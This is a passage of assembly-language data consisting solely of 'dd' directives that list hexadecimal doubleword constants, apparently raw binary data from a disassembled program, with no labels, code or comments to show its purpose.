dd 0CA956070h, 48215Fh, 53D26E1Ch, 95939FFh, 81376F00h
dd 9E83A273h, 0D9B400CCh, 0DC1040F9h, 0A000C486h, 7796A72Ch
dd 0E4FE027h, 1583818Bh, 3AE4041h, 2A3019Eh, 68BFF0h, 4FD10AFDh
dd 59979965h, 7B9D5400h, 58F04E4h, 0D0EF00ACh, 69F4B529h
dd 28169AF7h, 5F06E5E3h, 0A2DBAh, 0FB623B41h, 10CCA4F8h
dd 971F90EAh, 70C1CFF4h, 94A2FD75h, 3902D9F4h, 0F807E99Fh
dd 0F0B045BCh, 9D987E27h, 26D20403h, 0BE739E85h, 33ED0091h
dd 0D8F10938h, 4EF6EBACh, 74D31900h, 2CEFA51Fh, 6E5A3002h
dd 67093530h, 243C1D7Ch, 3EAC0105h, 8C6AF684h, 17FEF080h
dd 100D6658h, 8D704100h, 3A34A947h, 8FF80969h, 0E864AEFh
dd 0C60259A3h, 38F4D503h, 0A9BD181Dh, 42364740h, 0F9B4119Eh
dd 1BB427Dh, 88F7AE7Dh, 9E0CBD4Ah, 0A1B19362h, 58C48C9Bh
dd 0F7B120A5h, 0A9614EB0h, 25AC1C59h, 8BC9801h, 4988A851h
dd 1084A669h, 14F46566h, 3C2C8515h, 21FAA04Dh, 1404319Eh
dd 0AC0F0ECAh, 7588EF48h, 20959EC4h, 721FD01Ch, 6550AE58h
dd 36EB006Bh, 0C5EA3D39h, 35382DDBh, 222C00C9h, 0D19A13D8h
dd 583007Fh, 843B97AEh, 900C5566h, 81E39FDBh, 6D8036Ah
dd 97BDDA49h, 0BBB7000h, 2C26C3C6h, 6B6407FEh, 2074B188h
dd 24AA815Fh, 33E5A000h, 85D161B9h, 2A1C005Eh, 0D6842D15h
dd 9300297Dh, 7C04F8DDh, 710CBC3h, 16D22572h, 0C133D4BBh
dd 0F0CA1E4Fh, 1A3F2C4Dh, 0EBD100BCh, 0FC313842h, 3DC8A087h
dd 0DC45546Ah, 0ACDB0FB2h, 0E9231A9Fh, 95E184E5h, 5439E08Dh
dd 3A103D61h, 0C089A679h, 10007A42h, 0FF819DEFh, 93828500h
dd 0CB042B7Eh, 5DBD03FBh, 5C30CE10h, 0B1BBC0A5h, 3A28A780h
dd 0C088ACAAh, 0BE0154A1h, 62BBDAC1h, 97417CE5h, 0C3E41ED3h
dd 0FC9E384Ah, 107C789h, 0F03DB000h, 59030365h, 0CE9FC48Ah
dd 1832152Ch, 0FD2ED8A0h, 4AB1003Bh, 23EAAA36h, 66F82C00h
dd 789008C6h, 3F61C88h, 855AC0CAh, 47F04811h, 7D76300Fh
dd 92F4E0F2h, 0DEFE74h, 0F88E434Ah, 0EE40B0A9h, 62579A00h
dd 2966D1D4h, 3171C0E2h, 799D42E4h, 27A9FE0Eh, 0F7682140h
dd 0BFC4F238h, 706E020Ah, 2B0D209Eh, 0C1CD9880h, 6F9873E4h
dd 64E32700h, 94CAD8A1h, 0B3C01E2h, 8AE982CBh, 4F742077h
dd 0BA39AE12h, 8C758407h, 0A458D440h, 6F0200B1h, 7DD0F922h
dd 320153A8h, 0F131440Ch, 0C9D42877h, 0ACF406C8h, 0C8B0D1D9h
dd 33C3DC0Fh, 83BE73Eh, 9F80FBE4h, 7025E79h, 0A26E4A40h
dd 97E2FE9h, 0A5877A36h, 502590B0h, 5DEE8D94h, 8384AD1Ch
dd 1149040h, 897772h, 9D1121B2h, 0AAC1E1EDh, 0B0EEB930h
dd 3CD03083h, 0B583BE9Bh, 4E5BE5E4h, 4F004050h, 7EF6BD01h
dd 0D205A721h, 31E5E841h, 9257AE00h, 182998A8h, 0E7B29B09h
dd 0A9CC83F6h, 2C2DC8E4h, 0B0FC004Ch, 72FF3A3Fh, 1C004DB1h
dd 4AF3E95Fh, 0F8C03Ch, 9C76B002h, 0DB68F59Eh, 0BF001C76h
dd 4C69E6E4h, 0C3171F6h, 0A03439Ah, 821E8E20h, 1F008FCAh
dd 2BB777ECh, 0C89B0A80h, 3ADA6802h, 189548AEh, 0CBBC3046h
dd 0A1A41F00h, 0E1E70D3Dh, 0FD660FC5h, 27262080h, 6C7840D8h
dd 1750D400h, 0C938AB9Fh, 0E60F0635h, 493B9A39h, 0E790BA00h
dd 0D4836EA9h, 0A2AC0089h, 80345657h, 463FCA78h, 2D7102DDh
dd 0C07942D1h, 7ECC2B1h, 0B42C3D8Bh, 0A4CAA030h, 238F475h
dd 0D9E8CF73h, 805D1900h, 0E0BFDAE3h, 40AAB602h, 60212E4Eh
dd 1E724F27h, 10AED8Eh, 2C300DEEh, 0A7163005h, 0C073A378h
dd 9FB27100h, 24DEAEDAh, 0F74E4E4h, 0D44C25C4h, 0C88D0BE0h
dd 1B0760B5h
dd 0B228BDEAh, 236B9C70h, 10200F76h, 0CD400E3Eh, 315ED151h
dd 1ECC9713h, 25603D00h, 28DC8h, 0DB35BC24h, 0C2A12F18h
dd 0BBB6D0FBh, 37CAA300h, 0A6D5BFF8h, 0CBCC0076h, 56F1D16Bh
dd 4F004829h, 0A94135E8h, 0FD2BF1Bh, 0BDF8D5F6h, 0B846E6C0h
dd 9B001504h, 1A07213Eh, 614CC4A8h, 9E7F98B4h, 99ACE09Fh
dd 0C12310C3h, 8D5AC9E5h, 6235D0h, 0A5E80197h, 0E0FC3BC9h
dd 24D17D00h, 0D5AD1CFFh, 0A86B00CEh, 698CF594h, 0F61FE920h
dd 0ED013EBBh, 466528A5h, 734467E8h, 7A2703A6h, 48774BBCh
dd 87D8B2E8h, 0E3D9A900h, 894A4EB5h, 0D35000E8h, 70BB14FEh
dd 0E0E8FA71h, 57462300h, 58BF3F98h, 153E40B3h, 3A0F227Ch
dd 56EA92h, 0F9745B5Dh, 0F1F1F1Dh, 0D2DD24h, 2C73D484h
dd 27009920h, 0B8599BDFh, 0E5101F07h, 8FC3DCh, 0E2F14AD4h
dd 0A7EE31AAh, 0E762CC00h, 0ADC3F40h, 0A4C200D7h, 0ED336C05h
dd 5A008EFEh, 37FB39B1h, 3135B9h, 0D9A56F3Bh, 40F7810Eh
dd 5978E314h, 0CAE900C8h, 0E85C683Ch, 0FF271390h, 53580EAAh
dd 0B3FD8460h, 4C7A3489h, 95669B00h, 0EEF12028h, 0EB9707FFh
dd 0D0B4AB6Bh, 0AEFB1D40h, 67F71F00h, 99A170AAh, 167C82h
dd 2FCB27Bh, 22E12410h, 0A260E400h, 3E6ED42Bh, 7D0FE54h
dd 974B3C46h, 4857E0A0h, 0DA005B2Ch, 0CC4E844Dh, 9E5A2Bh
dd 9925F568h, 0E989E66Eh, 3B8B0802h, 405642C5h, 0FAAAA2h
dd 0ABE52227h, 5237C10h, 7B8CF00Fh, 0BC1C04Eh, 2E7391BBh
dd 34E55Fh, 756FF7CEh, 0D700618Bh, 0C8D15D60h, 9D53D3h
dd 0F52A4A3Dh, 313ADA70h, 0E9AC38h, 41215F5Ah, 723C3FF3h
dd 877523h, 8CBC72A3h, 8B60986h, 0EED6A600h, 85839575h
dd 5C0A038Bh, 0BA2346D4h, 0ADCF2780h, 264B5807h, 0B5A0379Ch
dd 1C0170CEh, 80F30DA8h, 1BDEE6F8h, 2900BED3h, 0B6956AB8h
dd 7BB90D5h, 363A74E2h, 1514104Dh, 8700A8CDh, 0B5EA4730h
dd 180F4C8Ah, 183658BCh, 0D600B9C3h, 4E024D88h, 67867Dh
dd 9F48E6A3h, 8241EDD5h, 441ADA01h, 97AFB07Eh, 58A5C8C3h
dd 9EA20043h, 0D3522D94h, 0B8007B08h, 4D506859h, 0A0ABE4F0h
dd 0A866D4h, 478FCD35h, 93E958D5h, 735A0F00h, 536BF998h
dd 0A880013Eh, 511C717Bh, 0F0F6D888h, 0B81D0300h, 0F4C94CF9h
dd 6F79CFh, 91A41820h, 2D25ECFBh, 8549501h, 0EF87F2B5h
dd 59C8A0FBh, 6EB71D5Ch, 5D2480D7h, 0D8B9B158h, 2C043Eh
dd 73BE1E05h, 396751Dh, 49830871h, 79B00DBBh, 4D018B37h
dd 0D9052DABh, 3120983Ah, 0FDA83994h, 0D0486300h, 8E886965h
dd 530083F6h, 68233B59h, 509290h, 604855C5h, 0E8EF8EA3h
dd 41313D01h, 0CCB1CBEDh, 0AF8570h, 930956B9h, 39DEE835h
dd 0EF59AA00h, 0B40AA548h, 3B6200C8h, 8FCC1E60h, 1D00C09Dh
dd 0C7A05798h, 1F06B865h, 40E324D5h, 0AB05260Ch, 2F00C491h
dd 0D115C5ADh, 0E2BD76h, 20EC4967h, 712DF977h, 19ABD503h
dd 0A388E98Ah, 0CD18F066h, 7AF0E6Fh, 0B1C0B640h, 55D2AC47h
dd 30C6A00h, 7BB88587h, 0E409006Eh, 0C67550DEh, 0B9008B2Fh
dd 0FE1E017Dh, 73EA8C06h, 46D7000Ah, 54CD4D51h, 0EE00892Ah
dd 5A8496F8h, 78F2E89Dh, 0C9EC00DBh, 9399E62Eh, 142AF68Ch
dd 7B00A45Fh, 913F02EDh, 190155h, 0D2FF477Fh, 0BF8B6909h
dd 1D635D07h, 9C835172h, 0E1B0D0D8h, 5F600090h, 47963265h
dd 0A80017EDh, 0BDF1D5F3h, 32F73D9h, 0B76816E8h, 1D8BE0CDh
dd 0CCB843C0h, 0B1C32500h, 733ACFCh, 168912B6h, 0F5430161h
dd 876CC975h, 0E73BAB20h, 152FE03Eh, 0FEFF5Dh, 90F1A27Eh
dd 8345F976h, 36505B00h, 30EC7531h, 7BF30035h, 6507C406h
dd 100BC21h, 0AF5E7815h, 48D9F8h, 0C6D3B551h, 4EE09FF6h
dd 0A03C1AE0h, 795B80F7h, 9585E988h, 477700FEh, 59DD0B70h
dd 0C80B692Ch, 6405CEh, 512A73B8h, 0B0E907CDh, 901B0414h
dd 31C2565h, 0D6744B0Bh, 4095D27h, 0F316400h, 50008648h
dd 0D97644DFh, 0F7B9FFh, 0A782E5D0h, 7AB7BC83h, 0AB019470h
dd 589D95D3h, 4EE8DB1Bh, 98180FA6h, 47607E1Fh, 7FD5C8C3h
dd 111E8300h, 0FB488F6Fh, 333A00EBh, 0E29135BFh, 3800B7D5h
dd 9DC67D08h, 114D2Bh, 0A33ACA12h, 0A7F8E392h, 4E01E8E4h
dd 0DCAA28B3h, 3E3BB81h, 461E52F8h, 28009F2Ah, 1F619B20h
dd 7D8AA19h, 6D204B6h, 30F57754h, 0E683E30Ch, 2CDAB03h
dd 0B0D7F421h, 89716Ah, 0E55FD4Bh, 5FE3FAC9h, 0A19E3600h
dd 9695B973h, 0CFB6002Eh, 0FE8F1BCAh, 0BD48D330h, 0EEF30E8Ah
dd 0ED01175Ah, 3C4E6092h, 5E30E0D9h, 407400D5h, 12B0E258h
dd 9000938Ah, 18CCFA7Ch, 0B50F49h, 0EA17F832h, 4765EBC4h
dd 0F2DDD700h, 5ADF83CDh, 0E7FC6Eh, 259273FCh, 1DCC9A7h
dd 0A8F9400h, 0BE33E35Bh, 0FB98008Ch, 0A774BBBAh, 9507B5F3h
dd 9C3D76AAh, 53CD7E80h, 886600DBh, 3332B18Ch, 0F307E4D0h
dd 0F4CF40E9h, 48684C0h, 7CA316B2h, 0EB1F0079h, 49900E41h
dd 82BF5603h, 0D0947D72h, 1E6B135h, 0B89ABCA2h, 301E4752h
dd 7C00FAD6h, 547BC272h, 82C11Fh, 46521570h, 0D52C3756h
dd 3F34980Fh, 0C74940B9h, 434ECBh, 0C828AF26h, 7635B00Ah
dd 8097863Eh, 778FCE6Eh, 72B72196h, 954F1F16h, 0C12A1E8Eh
dd 29A056CBh, 9032DAh, 8919F327h, 0B5053Ah, 56D03844h
dd 0D2CE349h, 421AD300h, 1FC799B0h, 93D102C8h, 8EAFC912h
dd 19CFAFC0h, 28A50126h, 0A9A8000h, 1E96056h, 0F692712Bh
dd 8331C7A4h, 298A792Eh, 7CD1D1A0h, 17821085h, 6080C085h
dd 2C584F9Fh, 5151DE5h, 0AA41545Fh, 25356983h, 0E7E4830h
dd 9ECBB69Ch, 0DA79D0D8h, 0A5071E00h, 0D86B4997h, 883D60D3h
dd 57DE0C36h, 857D5900h, 6A34829Eh, 80554E65h, 0DEDAB49Dh
dd 43B01E00h, 2763AA9Dh, 207C01CCh, 22759FDFh, 8EB760BDh
dd 0AC9ECA05h, 1F80D2C7h, 0F77BE8h, 2FC56675h, 93E3E96Dh
dd 0E20E5CE4h, 0A067A5A0h, 0F00164F5h, 147135h, 0D8FB87B4h
dd 0D3BF3C8Ah, 810E0ECEh, 0D7663260h, 0B691080h, 719AE6ACh
dd 0DF9EC300h, 73C15025h, 0FD910016h, 1BF315FCh, 0B500D7EEh
dd 6D5DB6A9h, 0A0FBD9h, 669F986Ch, 0E01550EFh, 0DBF4AD03h
dd 0C0BC7E88h, 7A7A549h, 39B36A46h, 9C7A21h, 0B6536377h
dd 54031ADDh, 0FAE35550h, 0A0AE97FDh, 0C06DCEDCh, 8D2500CFh
dd 0F7CCDB21h, 54012392h, 0E328958Ch, 0E7F8125Dh, 5AA50057h
dd 0AD715F32h, 37FABAD0h, 9D743F00h, 9BAA6F26h, 55700050h
dd 0FE240AE9h, 5C006AA9h, 3329B844h, 78A85Eh, 0CAB63437h
dd 13609B5Dh, 368B2814h, 0DE621ED4h, 0BB9A4040h, 1C8DF72Dh
dd 0EAFAECDh, 338022ACh, 809378C5h, 0BF8FD600h, 8ED961CFh
dd 5B600F6h, 9F9471FDh, 0A3000B49h, 0A8F39DC5h, 39032C4h
dd 0FC94E6Ah, 0E4A05CF8h, 0EA03FC1Bh, 44C59CE9h, 0A127A1E5h
dd 0B8CA65F8h, 8DD20058h, 83629194h, 3D015BCDh, 22AADB5Ah
dd 63F416EDh, 5BD4CDDh, 8B1A0778h, 0F719929Eh, 89E18EA7h
dd 0F866E902h, 0F517A377h, 0A800C607h, 884FD4C0h, 0AB841D89h
dd 0E0C340A9h, 23298174h, 76309472h, 985440EEh, 44911C37h
dd 0CF1600D5h, 71725635h, 3996848h, 2288D41Ch, 0F971008Dh
dd 0A9F0DD24h, 2F00D73Ch, 0DCE5BE38h, 37C8ED5Ch, 60295A23h
dd 6318876Dh, 832B370Bh, 0D0AA807Ch, 0DC4AA8h, 9CC64CBBh
dd 2CD6AD3Bh, 0F4E6D00h
dd 97E2FDACh, 0F0CA50AAh, 0D77F1F4Ch, 6B2640AFh, 8AB4533h
dd 0DCBE9500h, 76DAD907h, 0C1CF00B8h, 16EEEC7Dh, 5F76973Fh
dd 0AC573800h, 0F265098Fh, 67E71BBh, 849CB35h, 0C848112Eh
dd 0A28D00FAh, 259F6552h, 80CA3E61h, 0E5FB7B00h, 0B00E5376h
dd 0BBAEBA1Dh, 0A3174C80h, 0B2BEFFh, 3C1B3D02h, 0D80338C6h
dd 6D1FFE00h, 0C72DB763h, 967648h, 0C167418Dh, 0A9AD4975h
dd 0DE9E150Fh, 0FE36A039h, 61514Dh, 487688AFh, 873FF5CAh
dd 20B90729h, 0C3245660h, 25364480h, 0AE1CDF06h, 1D887950h
dd 83E9D722h, 0D0CE7407h, 0C0AF57C3h, 0E0FA986Fh, 49768601h
dd 0A4E1B275h, 0DA194200h, 0D8687003h, 9A9364AEh, 178A609Fh
dd 0EC9D073Dh, 0E079B56Dh, 579A4104h, 7767120Eh, 27AF8464h
dd 0C2759E81h, 8C5BC8h, 6EE617EBh, 147895CAh, 28821B30h
dd 92FAD9h, 96139DDDh, 1AA1D3EFh, 407DA300h, 56648037h
dd 0D763183Dh, 225C8C7h, 6D3B0400h, 0FFDBE575h, 184C7684h
dd 0B9C7B6C3h, 9B3EA3E6h, 41D281D0h, 0BE7AEE4Eh, 6080B2E2h
dd 2B23BCCCh, 41809933h, 80EFC617h, 0CD9DE9A8h, 5457F43h
dd 890DD8A9h, 7EF040D0h, 0FDC22B2h, 5200BDE8h, 0AF3F569Eh
dd 14863474h, 0B467E3C2h, 0F2A7C900h, 1EF0D646h, 0B3A0CD00h
dd 0AC39230Fh, 0F51C0287h, 2420DF91h, 0E0182440h, 5357ED0Ah
dd 0C75820CFh, 500D43C3h, 0CC003A30h, 17BBA682h, 0A08AB71Dh
dd 4024CFD0h, 0D951749Fh, 39040C2h, 67058095h, 879E4869h
dd 0F6B0DC41h, 157049CCh, 1A5E0041h, 0B77517A6h, 0CE00E891h
dd 2D1804ABh, 1B05670h, 98F9811Fh, 876BEEB3h, 11D57D40h
dd 0BB0CDCBAh, 4179A6h, 471BA4A5h, 654DF69Eh, 801DED04h
dd 7080664Eh, 34A8Ah, 5AF33E92h, 5DB9A6E8h, 0D02FC00h
dd 3A20A4BEh, 9AEA0F7Fh, 31A0D7D5h, 3062D1D9h, 512CAD12h
dd 4F2D1441h, 45F4576Fh, 0F1FE236h, 0B1AFA865h, 0D5FFCAA0h
dd 3B1725C3h, 1500EB10h, 0EF589A70h, 0FDB30094h, 309937C4h
dd 400F333h, 359B036Ch, 6934077h, 2AA13F85h, 0F20168AFh
dd 0C9ECB3D1h, 9A415412h, 3CDCEDB6h, 5D140077h, 6CCEC3CAh
dd 6405F259h, 0ADCF01E6h, 0EBFF8400h, 7E5F12Eh, 732D7B92h
dd 4A06020h, 0F61C5433h, 0C0057B1h, 5F443745h, 0F46A000Bh
dd 2AE62207h, 5C00201Ah, 32F5B9Ah, 79A716h, 8E6AABA1h
dd 9B173FAAh, 14306700h, 4E2B98CAh, 63727Ah, 73207DC4h
dd 5A89C727h, 6A8DB800h, 0F59537C0h, 5F8E3EF8h, 0AC40DE01h
dd 80BD7DE5h, 53376D30h, 63CA1Dh, 0A9C147A8h, 7F910B97h
dd 1A3ED601h, 0D8B857BDh, 0A08179D9h, 55205E4Eh, 3612E0FEh
dd 438C0900h, 70976AB4h, 0CF2800F0h, 0B04AFF4Fh, 5C006DBCh
dd 9DB6DC1Ch, 0C1243E5Fh, 3D7920B0h, 55509C66h, 0F1D301BBh
dd 5FE2572Bh, 0FB60ED0h, 17C24529h, 75E3C360h, 8360E61Bh
dd 0A86C69F0h, 0E55F0379h, 60720A45h, 89028098h, 95BF9A3Bh
dd 0BC264Ch, 8DA5769h, 1AD53Dh, 0A24F5D3Ah, 1DF3A80Bh
dd 0B5927E00h, 8DAA4DC8h, 1A9C01EEh, 85CB0A4Eh, 239040D4h
dd 79C0FF36h, 43DAE9FAh, 0F25A00B0h, 6CA7A6EAh, 2C396591h
dd 0D87C87ABh, 14C0F5A0h, 0AFA4BCC5h, 6F3D7804h, 37DF5300h
dd 463851B7h, 1EC100E9h, 4DD9588Bh, 966BD2Eh, 225430h
dd 27638147h, 1CE0F429h, 36D89007h, 68CA3C84h, 0A560CAD0h
dd 46636178h, 0C668804Ch, 0D3A0732Ch, 0C08C240Fh, 0A3B60F63h
dd 0B99F9C01h, 6B0C40DDh, 1B3ED080h, 0DE97109Ah, 8418EF8Ah
dd 41048377h, 18B02517h, 0D614FC00h, 0A8B38D40h, 0A089120Ch
dd 0A187FF18h, 24506C30h, 88D3B97Bh, 3CA1C7AAh, 0D7245127h
dd 4B0C40DAh, 0D2627B2Ch, 11822390h, 38605103h, 0F0C4181h
dd 2A245E4Fh, 5B0C1841h, 18D12F10h, 6CB650FEh, 8449F107h
dd 0C4D9FCCCh, 2186E319h, 18412B4Ah, 5308AFF7h, 51130CA9h
dd 40AA6424h, 758A5F3Ch, 5D5CD271h, 7CEB18B1h, 45FE1818h
dd 0E7FF6080h, 14D419C4h, 1F922800h, 8891D94Ah, 3BD4683h
dd 0AE89825h, 0D0530004h, 895D7B4Dh, 0E51CA3E7h, 65C7C441h
dd 0ADC0A176h, 0B457F4h, 0C61D169Eh, 0B0E0F5E9h, 0E8B66730h
dd 5097086Bh, 109DB081h, 0F284A7h, 0E58F06E1h, 1D5C8F0h
dd 0C488AE0h, 0E3091E95h, 43E7A11Dh, 3691BC47h, 2F660068h
dd 0E5AAFEE2h, 0C746D400h, 0BB0AECC9h, 0FA4D014Ah, 1F0129D2h
dd 3D89F8C6h, 1CA56DE4h, 0F7C45F42h, 3075C001h, 0CCDDE91Bh
dd 0ACF6526Ah, 250DBB02h, 80A79605h, 0FB324494h, 2A50FCB0h
dd 3F8C8B62h, 0EB3C9122h, 80C6279Ch, 0FB31BBA2h, 33148110h
dd 81C85F3Eh, 0EB72E4ADh, 0A0807EF5h, 1938FF02h, 4E3A8682h
dd 5729E008h, 14B00AFCh, 345FD62Eh, 5FC0DB27h, 130037A5h
dd 0E3FAF7CFh, 5C3CF038h, 3B005DA1h, 62DCD68Fh, 0AD005E24h
dd 69E2FCCBh, 2EBC3793h, 71D6DDAh, 0A0DD6189h, 2059DF8Dh
dd 39B0490Ah, 4000BF17h, 0B33C0CDEh, 38B007Eh, 0FD569887h
dd 95FAB0CFh, 0D6665E07h, 405E5961h, 470C8DE4h, 7218C782h
dd 0B3A9004Fh, 84EF97D0h, 6B91EB80h, 0A714A82Ch, 1FD5B00Ch
dd 93415840h, 60AC73B3h, 0DFE7D8h, 0BA5E020Eh, 0C417428Ch
dd 920C5800h, 7F458612h, 0E20001Dh, 0A773B6AAh, 6EECDD62h
dd 0BC889360h, 6E3A109h, 0AD529739h, 600A16Ah, 4B54298Bh
dd 1DE2CE0h, 0B23A53A5h, 9F5F26FFh, 62009220h, 8A396A4Dh
dd 0E20701C9h, 37324EA2h, 0F02D61D9h, 0AE5758B2h, 0F0007B84h
dd 6F517D72h, 620CD1h, 9F5365F4h, 3B132AE0h, 18665B30h
dd 3BED386Ah, 0A20069DEh, 0DF93179Ah, 0F100EB23h, 4E90EA78h
dd 7D73522Ah, 2F560F2Bh, 0B801FAC6h, 0F25D783Bh, 5A632ED0h
dd 0D8859250h, 390CE1Ah, 3A62A99Ah, 0F10088A5h, 4243C0BCh
dd 81DEF9h, 0B8DC83AEh, 0A7FA7E07h, 15001490h, 3D45FFCEh
dd 5AAAE3h, 0F09338EEh, 72A2A388h, 42807B50h, 0D4AE0101h
dd 5B339C45h, 31020h, 0B4DFD50Ah, 18BF9725h, 71BABD00h
dd 4D38933Ah, 0A06560C0h, 0CE1362ADh, 0A5A01B00h, 0B244482Ch
dd 1E5803EBh, 99720823h, 3ED861DBh, 5C002282h, 0A8C3356h
dd 0A62A5B4h, 75C904C2h, 0A442CC8h, 0C749937h, 0C7B1B408h
dd 9AE60E02h, 98211174h, 23EFDE30h, 0ED8C7E68h, 0F54861h
dd 392193CDh, 69B0155Ah, 44004892h, 0C851A86h, 0FA9FE149h
dd 5E0A00B1h, 7B5AE85Bh, 0A551D437h, 6D4CA8E0h, 540093FCh
dd 1999C8BBh, 605CD636h, 8F0F7035h, 61039E9Ah, 3C25EAA7h
dd 42A6D862h, 23361713h, 1BF71C0Eh, 93D051A1h, 0D70A521Eh
dd 0A07B1CF0h, 66F5AF82h, 0A8144301h, 226833h, 63041260h
dd 8DB7E2D3h, 72AA542Eh, 0E4006228h, 0AEF487D5h, 95DB07Dh
dd 9C63E41h, 0A0995020h, 55034C48h, 5D3C7E56h, 73F909B2h
dd 6E0ADCD3h, 0EA585850h, 0DB1F7507h, 67C6B213h, 6A970191h
dd 0BE7652D2h, 7D62FCAFh, 16980C07h, 0E28F9A3Fh, 4875B6B8h
dd 70FC7AD0h, 59C00436h, 0C0E09A4Dh, 3E2F219Ch, 0A0F2BD31h
dd 6EB73Ah, 584D9848h, 860966A8h, 20A2231Fh, 378DDE90h
dd 5531DE96h, 9306C86Fh, 98EAC74Eh, 0C118357Dh, 0E8E84976h
dd 716000DBh, 4C5BE2A2h, 0EA3009A4h, 0D213F88Ah, 0DD920627h
dd 0A8D920CDh, 7CA6C10Ch, 56B209Ah, 0FAA4C77Ah, 418400DBh
dd 11905BC9h, 0DEAC875Bh, 0EEC11877h, 7144314Bh, 2D127000h
dd 61FBC35Dh, 6A9C245Fh
dd 863D8434h, 75A20099h, 0E0D29DEh, 81EE67B8h, 4522D0F8h
dd 0F6B97700h, 357ED326h, 6CC130C4h, 4A096440h, 75C8ED18h
dd 34C2B111h, 489B584h, 31729808h, 0DF163B9h, 7334C8EFh
dd 2E1761Fh, 3E3DE0ABh, 0A0A0BE7Eh, 4BAE0BFAh, 0CA476C00h
dd 4C1DC440h, 9DE10014h, 5C45997Dh, 0E505080Ch, 5879E038h
dd 0E2DD845h, 3BEF0400h, 4D5623B9h, 24007C5Fh, 0D51F4754h
dd 0E809B14Eh, 81779921h, 0EC2D4368h, 819CB8E1h, 0A3744337h
dd 48D82694h, 0EA241EB6h, 71AC7CE9h, 0BAD34D00h, 57C012h
dd 0D9CA2ED6h, 0A39C6EC3h, 0C420BC49h, 0C8109B42h, 43A9E609h
dd 0AF980400h, 0A0A86310h, 9C01FA31h, 2B7F82AEh, 30DC78D2h
dd 0B8D0A36Dh, 1C9B3A43h, 810C5D5Ch, 0E087934h, 80E7E98Eh
dd 5A13CA51h, 3D940A5h, 0D3CB2347h, 10769093h, 410E2B01h
dd 3308BC34h, 3048C5D1h, 68844D43h, 0E48242Ah, 36EED7D0h
dd 2CA97C8Eh, 309FB906h, 30BD6601h, 0A34E4F12h, 965A9842h
dd 20486C0h, 3E9FD949h, 484008CEh, 4B9827C0h, 128FD49h
dd 123411ACh, 3C60F7E3h, 729A04C2h, 807D67B9h, 53EB0D20h
dd 3F9F7500h, 77D0CC92h, 0DFFB00F2h, 4474853Bh, 0A9002896h
dd 8478E103h, 73B11B10h, 0A1544CF5h, 34C03445h, 0CF50103Bh
dd 219DC99Ah, 0A4C3E6B8h, 376030h, 45A5C7DCh, 3F72A77Dh
dd 3B36D900h, 0CD9FFE0Ah, 9B120927h, 9B0323F5h, 36E02441h
dd 9B85846h, 0E67C7098h, 49D0F207h, 9593C90Fh, 0D8FF9A3h
dd 626060h, 0C6A0F97Ch, 8734FF6Fh, 0A535FE00h, 3D1284B5h
dd 0D4F60018h, 90B2DEE4h, 3613B8D0h, 6040790Dh, 0AE6D420Ch
dd 9360B7F2h, 0E4002C37h, 0D4095CEBh, 5F8C7Ah, 65F7A19Dh
dd 0D39F776Bh, 5AB90D00h, 228FB3C9h, 2A6100E8h, 3C93BCADh
dd 0AF038791h, 0F813BE0Bh, 9004B078h, 478038EFh, 592007Eh
dd 3F36DE30h, 0FC009339h, 2297487Dh, 9E8BF8h, 75117A25h
dd 5E6D8A1h, 6826BD03h, 0A049C2B8h, 0F1096Bh, 3E610486h
dd 0FC4ECF2Eh, 65750600h, 0D5E1B995h, 7C26980Fh, 59EE008Ch
dd 4B5E8AACh, 802C66F7h, 9A009CCAh, 0BEBD0173h, 0D5095067h
dd 59040046h, 32D0EF45h, 50EC0802h, 13613CA9h, 0B03FB8BBh
dd 0E1420076h, 0FDEEB31h, 0AF00BCB3h, 21285B89h, 30A82A7h
dd 6C885212h, 61981118h, 350359B7h, 78C8495Dh, 62B05876h
dd 543FA74h, 257A2B72h, 0A88486A8h, 0C290F700h, 84B92CEh
dd 0F127003Bh, 4D1346BDh, 0E0015960h, 0EA7930E3h, 6FD00966h
dd 9B6B003Bh, 6C182AAEh, 0BC00ACAFh, 0E5EF6233h, 0FAF18503h
dd 48C0055h, 12E1E305h, 530079CEh, 29D70F70h, 5ACE2FBh
dd 46BA7A28h, 0E1440021h, 0B3928FC2h, 0CB000D43h, 1759674Eh
dd 5C0997E8h, 0B27C54h, 0E802F2Ah, 0E015008Fh, 0DB2DC16Dh
dd 17003B04h, 6AE6E49h, 638C51h, 5759A9FFh, 0B42BE1BEh
dd 549AEA00h, 61FC0BFEh, 2C1F0005h, 0F6AD52E2h, 9F01107Bh
dd 4445D1DDh, 0A040653Fh, 0A24F09Ah, 25A7078Dh, 0C2DB0E58h
dd 0D7E393E0h, 0AC882BC1h, 59AA003Dh, 994B3971h, 340E23AFh
dd 0C0D84465h, 942E1121h, 57C905B1h, 2F2B5F04h, 0F82384h
dd 0A5B58525h, 23FC3C63h, 5BD77002h, 40054294h, 84720h
dd 0D9B2B0C0h, 0FFC4533Ch, 2582648h, 0E5E7EB79h, 21544810h
dd 0DF0B0069h, 0B1D22ED7h, 451FBD18h, 0AC80AF76h, 3D37BC81h
dd 1DF40183h, 60AA9712h, 435E4CEh, 0D9A1F500h, 63341E0Eh
dd 902766Fh, 53E31D45h, 4D246420h, 9D30A640h, 0D381E031h
dd 0B8375059h, 0CF830027h, 0A9245E57h, 0E307F879h, 541C989Dh
dd 91F54E20h, 5A5C44F2h, 16D4F00h, 0CC346B1h, 5BC538C7h
dd 0B744A18Eh, 0DF622140h, 0D402D3FBh, 4005F699h, 4D544035h
dd 68CA60B1h, 28233960h, 2712DB00h, 0F52D3F41h, 24B40343h
dd 6B3EC85Bh, 221367B1h, 4CDC506Ch, 0C1D921h, 82CA6B6h
dd 448653D5h, 0BA0195CAh, 3EDC633Ch, 50DD149Dh, 201C1BCh
dd 7BFC4427h, 7AC74198h, 0C426B1h, 45024B54h, 0E7D4A32Bh
dd 2848DD12h, 0C301366Ch, 91997628h, 1261275Eh, 0D242C007h
dd 4FFCA031h, 0DDD68426h, 42931F18h, 62E1C4C1h, 48CB3440h
dd 9A012042h, 0FB46344Ah, 2460233Fh, 80BF34A9h, 5EFDC2E5h
dd 1DF33C90h, 0C38145C6h, 0B4B2EC97h, 0F9666130h, 578D29CAh
dd 0E0C83016h, 0DEA0D0C7h, 1862A855h, 51657C95h, 4A4848EBh
dd 7EA902EDh, 48BEDD80h, 2434B658h, 11C871E2h, 85C6802Ah
dd 0FB1B95C0h, 6E685Ch, 21C884EEh, 0FC7FD68Ah, 0EBEADD07h
dd 41DE0C92h, 49E0EFAFh, 508365E1h, 33392F56h, 4F28E3F8h
dd 3E354Ch, 0FC4282B9h, 3A71AF13h, 4400B572h, 2331AB38h
dd 85001F3Ch, 338646CFh, 3B7687D4h, 78482EA4h, 91134C00h
dd 0C795D917h, 0BDA8206h, 0B0D9F43Bh, 18DC00D7h, 219FC6D7h
